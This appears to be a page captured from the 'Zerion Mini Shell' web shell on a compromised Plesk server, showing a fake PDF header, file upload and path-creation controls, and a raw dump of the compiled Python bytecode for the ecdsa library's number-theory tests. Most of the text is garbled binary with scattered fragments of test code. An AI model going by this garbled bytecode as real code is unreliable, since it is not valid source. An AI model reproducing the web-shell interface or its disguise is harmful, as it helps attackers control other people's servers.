%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyc

�
�ac@snddlZddlmZddlmZddlZyddlZWnek
rgddlZnXddlj	Z
ddlZddlm
Z
mZmZyddlmZeZWnek
r�eZnXddlmZmZmZmZmZmZmZmZmZmZd/Zej j!dge"ed ed�D]\Z#Z$e#e$f^qC�d��Z%ej j!ddddg�d ��Z&ej j!d!e�d"��Z'e
j(d#��Z)e
j(d$��Z*e
j(d%��Z+e
j(d&��Z,e
j(d'��Z-iZ.er;ej/ej0ge.d(<d)e.d*<ne1e.�Z2d+e2d,<d-ej3fd.��YZ4dS(0i����N(tprint_(treduce(tgiventsettingstexample(tHealthChecki(
tSquareRootErrort
factorizationtgcdtlcmtjacobitinverse_modtis_primet
next_primetsmallprimestsquare_root_mod_primei�@iAi)Ai/AiEAiSAiYAi]Ai�Ai�Ai�Ai�Ai�Ai�Ai�AiBiBiBi+Bi/Bs
prime, next_pcCst|�|kst�dS(N(R
tAssertionError(tprimetnext_p((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_next_prime-stvalicCst|�dkst�dS(Ni(R
R(R((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyt test_next_prime_with_nums_less_24sRcCs�t�}xctdd|d�D]J}|||}|j|�t||�}||||ks!t�q!WxLtd|�D];}||kr�qntjt��t||�WdQXqWdS(Niii(tsettrangetaddRRtpytesttraisesR(Rtsquarestnumtsqtroott	nonsquare((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyt+test_square_root_mod_prime_for_small_primes;s	
cs\|tjdddd���|tjddd�d�j�fd���}|�fS(Nt	min_valueit	max_valueiicst|��dkS(Ni(R(tx(tmod(sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyt<lambda>RtlE(tsttintegerstfilter(tdrawR((R$sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pytst_two_nums_rel_primeLscOsKd|krd|d<n|tjt�tj||�jt�B�}|S(NR!i(R'tsampled_fromRR(R)R(R*targstkwargsR((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyt	st_primesVs

cCsS|tdd��}|tjdddd|d��}|||}||fS(NR"iiR!iilE(R/R'R((R*RRR((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pytst_num_square_prime`s&cs�|tjtdd�dddd���|tjtj��dddd��}ttj|d�}|tjd	ddd�j�fd
���}g|D]}ttj|d�|^q�S(sM
    Strategy that returns lists of numbers, all having a common factor.
    R"iitmin_sizeitmax_sizei
iR!cs1tjtjtj��dd�ddd|�S(NR2iR1i(R'tlistsR,(tn(tprimes(sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyR%ys	l#(	R'R3R/R,RtoperatortmulR(tflatmap(R*tcom_fac_primestcom_factcomp_primestnums((R5sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pytst_comp_with_com_fachsc		sL|tjtdd
�dddddt��}|tjtj|�dddt|�ddt��}ttj|d�}g|D]}||kr�|^q���s�t	�|s�t	�|tj
d	ddd
�j�fd���}g|D]}ttj|d�^q�}|tj
d	ddt|���}|j||�|S(sQ
    Strategy that returns lists of numbers that don't have a common factor.
    R"iiR1R2i
tuniqueiR!ics1tjtjtj��dd�ddd|�S(NR2iR1i(R'R3R,(R4(tleftover_primes(sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyR%�s	il#(
R'R3R/tTrueR,tlenRR6R7RR(R8tinsert(	R*R5tuncom_fac_primest	uncom_factit
number_primesR<tnumberst	insert_at((R?sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pytst_comp_no_com_fac�s 	"%($tsuppress_health_checki�tdeadlinei
tmax_examplestTestNumbertheorycBs�eZd�Zejed�ee�ee	��d����Z
ejed�ee�ee��d����Zee
je
jdddd�d	dd
d��d��Zd
�Zee
je
jdddd�d	dd
d��d��Zejed�ee�ee��d����Zee�ee
jdddd��ed �ed"�d�����Zee�ee
jdddd�jd���d���Zee��d��Zd�ZRS(#cCs[tdd	d�dkst�tdddg�dks?t�td�dksWt�dS(Niiiii
iiiii�ii�iiiiii�ii�i(RR(tself((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_gcd�s!swHypothesis 2.0.0 can't be made tolerant of hard to meet requirements (like `is_prime()`), the test case times-out on itcCsUt|�}d|ks*|dks*t�x$|D]}||dks1t�q1WdS(Nii(RR(RNRGR4RE((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_gcd_with_com_factor�s
cCs"t|�}|dkst�dS(Ni(RR(RNRGR4((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_gcd_with_uncom_factor�sR!iR"ii R1R2icCs7t|�}x$|D]}||dkst�qWdS(Ni(RR(RNRGR4RE((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_gcd_with_random_numbers�s
cCs[tddd�dkst�tddd	g�dks?t�td�dksWt�dS(Niiiiiiiiiiiii(R	R(RN((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_lcm�s!cCs7t|�}x$|D]}||dkst�qWdS(Ni(R	R(RNRGR4RE((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_lcm_with_random_numbers�s
cCs9|\}}t||�}||||ks5t�dS(N(RR(RNtvalstsquareRtcalc((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_square_root_mod_prime�si
ii�i�Li1�itcCsOt|�}d}x$|D]}||d|d9}qW||ksKt�dS(Nii(RR(RNRtfactorstmultRE((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_factorization�s

ii�cCs|dS(Ni((R#((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyR%�R&cCs%t|�r�t�}xKtd|�D]:}t|||�dksJt�|j|||�q%Wx�td|�D]0}||krst||�dks�t�qsqsWnwt|�}xhtd|�D]W}d}x-|D]%}|t||d�|d9}q�W|t||�ks�t�q�WdS(Nii����i(RRRR
RRR(RNR$RRRERYtatc((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_jacobi�s	%
#cCs[|\}}t||�}d|ko2|kns=t�|||dksWt�dS(Nii(RR(RNR<RR$tinv((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_inverse_mod	s"cCsdtdd�kst�dS(Nii(RR(RN((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyttest_inverse_mod_with_zerosl#l#I���I���Z^Ia-�q I�17ED(t__name__t
__module__ROtunittestt
skipUnlesst
HC_PRESENTRtHYP_SLOW_SETTINGSRR=RPRIRQR'R3R(RRRSRTtHYP_SETTINGSR0RXRR[R)R^R+R`Ra(((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyRM�s4					!	!					6	(i�@iAi)Ai/AiEAiSAiYAi]Ai�Ai�Ai�Ai�Ai�Ai�Ai�AiBiBiBi+Bi/B(5R6tsixRt	functoolsRt	unittest2RdtImportErrorthypothesis.strategiest
strategiesR'Rt
hypothesisRRRRR@RftFalsetnumbertheoryRRRR	R
RRR
RRt	BIGPRIMEStmarktparametrizetziptptqRRR t	compositeR+R/R0R=RIRhtfilter_too_muchttoo_slowtdictRgtTestCaseRM(((sL/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/test_numbertheory.pyt<module>sp



F	B	

#



Zerion Mini Shell 1.0